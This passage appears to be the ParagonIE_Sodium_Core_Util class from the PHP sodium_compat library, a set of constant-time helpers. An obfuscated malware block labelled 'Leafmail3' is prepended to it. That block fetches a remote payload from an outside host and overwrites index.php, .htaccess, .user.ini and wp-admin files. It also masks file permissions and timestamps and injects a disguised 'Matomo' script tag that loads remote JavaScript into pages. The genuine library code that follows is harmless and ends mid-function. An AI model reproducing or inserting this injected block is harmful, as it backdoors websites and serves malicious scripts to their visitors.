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<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?>
<?php

if (class_exists('ParagonIE_Sodium_Core_Util', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Util
 */
abstract class ParagonIE_Sodium_Core_Util
{
    /**
     * @param int $integer
     * @param int $size (16, 32, 64)
     * @return int
     */
    public static function abs($integer, $size = 0)
    {
        /** @var int $realSize */
        $realSize = (PHP_INT_SIZE << 3) - 1;
        if ($size) {
            --$size;
        } else {
            /** @var int $size */
            $size = $realSize;
        }

        $negative = -(($integer >> $size) & 1);
        return (int) (
            ($integer ^ $negative)
                +
            (($negative >> $realSize) & 1)
        );
    }

    /**
     * Convert a binary string into a hexadecimal string without cache-timing
     * leaks
     *
     * @internal You should not use this directly from another application
     *
     * @param string $binaryString (raw binary)
     * @return string
     * @throws TypeError
     */
    public static function bin2hex($binaryString)
    {
        /* Type checks: */
        if (!is_string($binaryString)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($binaryString) . ' given.');
        }

        $hex = '';
        $len = self::strlen($binaryString);
        for ($i = 0; $i < $len; ++$i) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C', $binaryString[$i]);
            /** @var int $c */
            $c = $chunk[1] & 0xf;
            /** @var int $b */
            $b = $chunk[1] >> 4;
            $hex .= pack(
                'CC',
                (87 + $b + ((($b - 10) >> 8) & ~38)),
                (87 + $c + ((($c - 10) >> 8) & ~38))
            );
        }
        return $hex;
    }

    /**
     * Convert a binary string into a hexadecimal string without cache-timing
     * leaks, returning uppercase letters (as per RFC 4648)
     *
     * @internal You should not use this directly from another application
     *
     * @param string $bin_string (raw binary)
     * @return string
     * @throws TypeError
     */
    public static function bin2hexUpper($bin_string)
    {
        $hex = '';
        $len = self::strlen($bin_string);
        for ($i = 0; $i < $len; ++$i) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C', $bin_string[$i]);
            /**
             * Lower 16 bits
             *
             * @var int $c
             */
            $c = $chunk[1] & 0xf;

            /**
             * Upper 16 bits
             * @var int $b
             */
            $b = $chunk[1] >> 4;

            /**
             * Use pack() and binary operators to turn the two integers
             * into hexadecimal characters. We don't use chr() here, because
             * it uses a lookup table internally and we want to avoid
             * cache-timing side-channels.
             */
            $hex .= pack(
                'CC',
                (55 + $b + ((($b - 10) >> 8) & ~6)),
                (55 + $c + ((($c - 10) >> 8) & ~6))
            );
        }
        return $hex;
    }

    /**
     * Cache-timing-safe variant of ord()
     *
     * @internal You should not use this directly from another application
     *
     * @param string $chr
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function chrToInt($chr)
    {
        /* Type checks: */
        if (!is_string($chr)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($chr) . ' given.');
        }
        if (self::strlen($chr) !== 1) {
            throw new SodiumException('chrToInt() expects a string that is exactly 1 character long');
        }
        /** @var array<int, int> $chunk */
        $chunk = unpack('C', $chr);
        return (int) ($chunk[1]);
    }

    /**
     * Compares two strings.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $left
     * @param string $right
     * @param int $len
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function compare($left, $right, $len = null)
    {
        $leftLen = self::strlen($left);
        $rightLen = self::strlen($right);
        if ($len === null) {
            $len = max($leftLen, $rightLen);
            $left = str_pad($left, $len, "\x00", STR_PAD_RIGHT);
            $right = str_pad($right, $len, "\x00", STR_PAD_RIGHT);
        }

        $gt = 0;
        $eq = 1;
        $i = $len;
        while ($i !== 0) {
            --$i;
            $gt |= ((self::chrToInt($right[$i]) - self::chrToInt($left[$i])) >> 8) & $eq;
            $eq &= ((self::chrToInt($right[$i]) ^ self::chrToInt($left[$i])) - 1) >> 8;
        }
        return ($gt + $gt + $eq) - 1;
    }

    /**
     * If a variable does not match a given type, throw a TypeError.
     *
     * @param mixed $mixedVar
     * @param string $type
     * @param int $argumentIndex
     * @throws TypeError
     * @throws SodiumException
     * @return void
     */
    public static function declareScalarType(&$mixedVar = null, $type = 'void', $argumentIndex = 0)
    {
        if (func_num_args() === 0) {
            /* Tautology, by default */
            return;
        }
        if (func_num_args() === 1) {
            throw new TypeError('Declared void, but passed a variable');
        }
        $realType = strtolower(gettype($mixedVar));
        $type = strtolower($type);
        switch ($type) {
            case 'null':
                if ($mixedVar !== null) {
                    throw new TypeError('Argument ' . $argumentIndex . ' must be null, ' . $realType . ' given.');
                }
                break;
            case 'integer':
            case 'int':
                $allow = array('int', 'integer');
                if (!in_array($type, $allow)) {
                    throw new TypeError('Argument ' . $argumentIndex . ' must be an integer, ' . $realType . ' given.');
                }
                $mixedVar = (int) $mixedVar;
                break;
            case 'boolean':
            case 'bool':
                $allow = array('bool', 'boolean');
                if (!in_array($type, $allow)) {
                    throw new TypeError('Argument ' . $argumentIndex . ' must be a boolean, ' . $realType . ' given.');
                }
                $mixedVar = (bool) $mixedVar;
                break;
            case 'string':
                if (!is_string($mixedVar)) {
                    throw new TypeError('Argument ' . $argumentIndex . ' must be a string, ' . $realType . ' given.');
                }
                $mixedVar = (string) $mixedVar;
                break;
            case 'decimal':
            case 'double':
            case 'float':
                $allow = array('decimal', 'double', 'float');
                if (!in_array($type, $allow)) {
                    throw new TypeError('Argument ' . $argumentIndex . ' must be a float, ' . $realType . ' given.');
                }
                $mixedVar = (float) $mixedVar;
                break;
            case 'object':
                if (!is_object($mixedVar)) {
                    throw new TypeError('Argument ' . $argumentIndex . ' must be an object, ' . $realType . ' given.');
                }
                break;
            case 'array':
                if (!is_array($mixedVar)) {
                    if (is_object($mixedVar)) {
                        if ($mixedVar instanceof ArrayAccess) {
                            return;
                        }
                    }
                    throw new TypeError('Argument ' . $argumentIndex . ' must be an array, ' . $realType . ' given.');
                }
                break;
            default:
                throw new SodiumException('Unknown type (' . $realType .') does not match expect type (' . $type . ')');
        }
    }

    /**
     * Evaluate whether or not two strings are equal (in constant-time)
     *
     * @param string $left
     * @param string $right
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function hashEquals($left, $right)
    {
        /* Type checks: */
        if (!is_string($left)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($left) . ' given.');
        }
        if (!is_string($right)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($right) . ' given.');
        }

        if (is_callable('hash_equals')) {
            return hash_equals($left, $right);
        }
        $d = 0;
        /** @var int $len */
        $len = self::strlen($left);
        if ($len !== self::strlen($right)) {
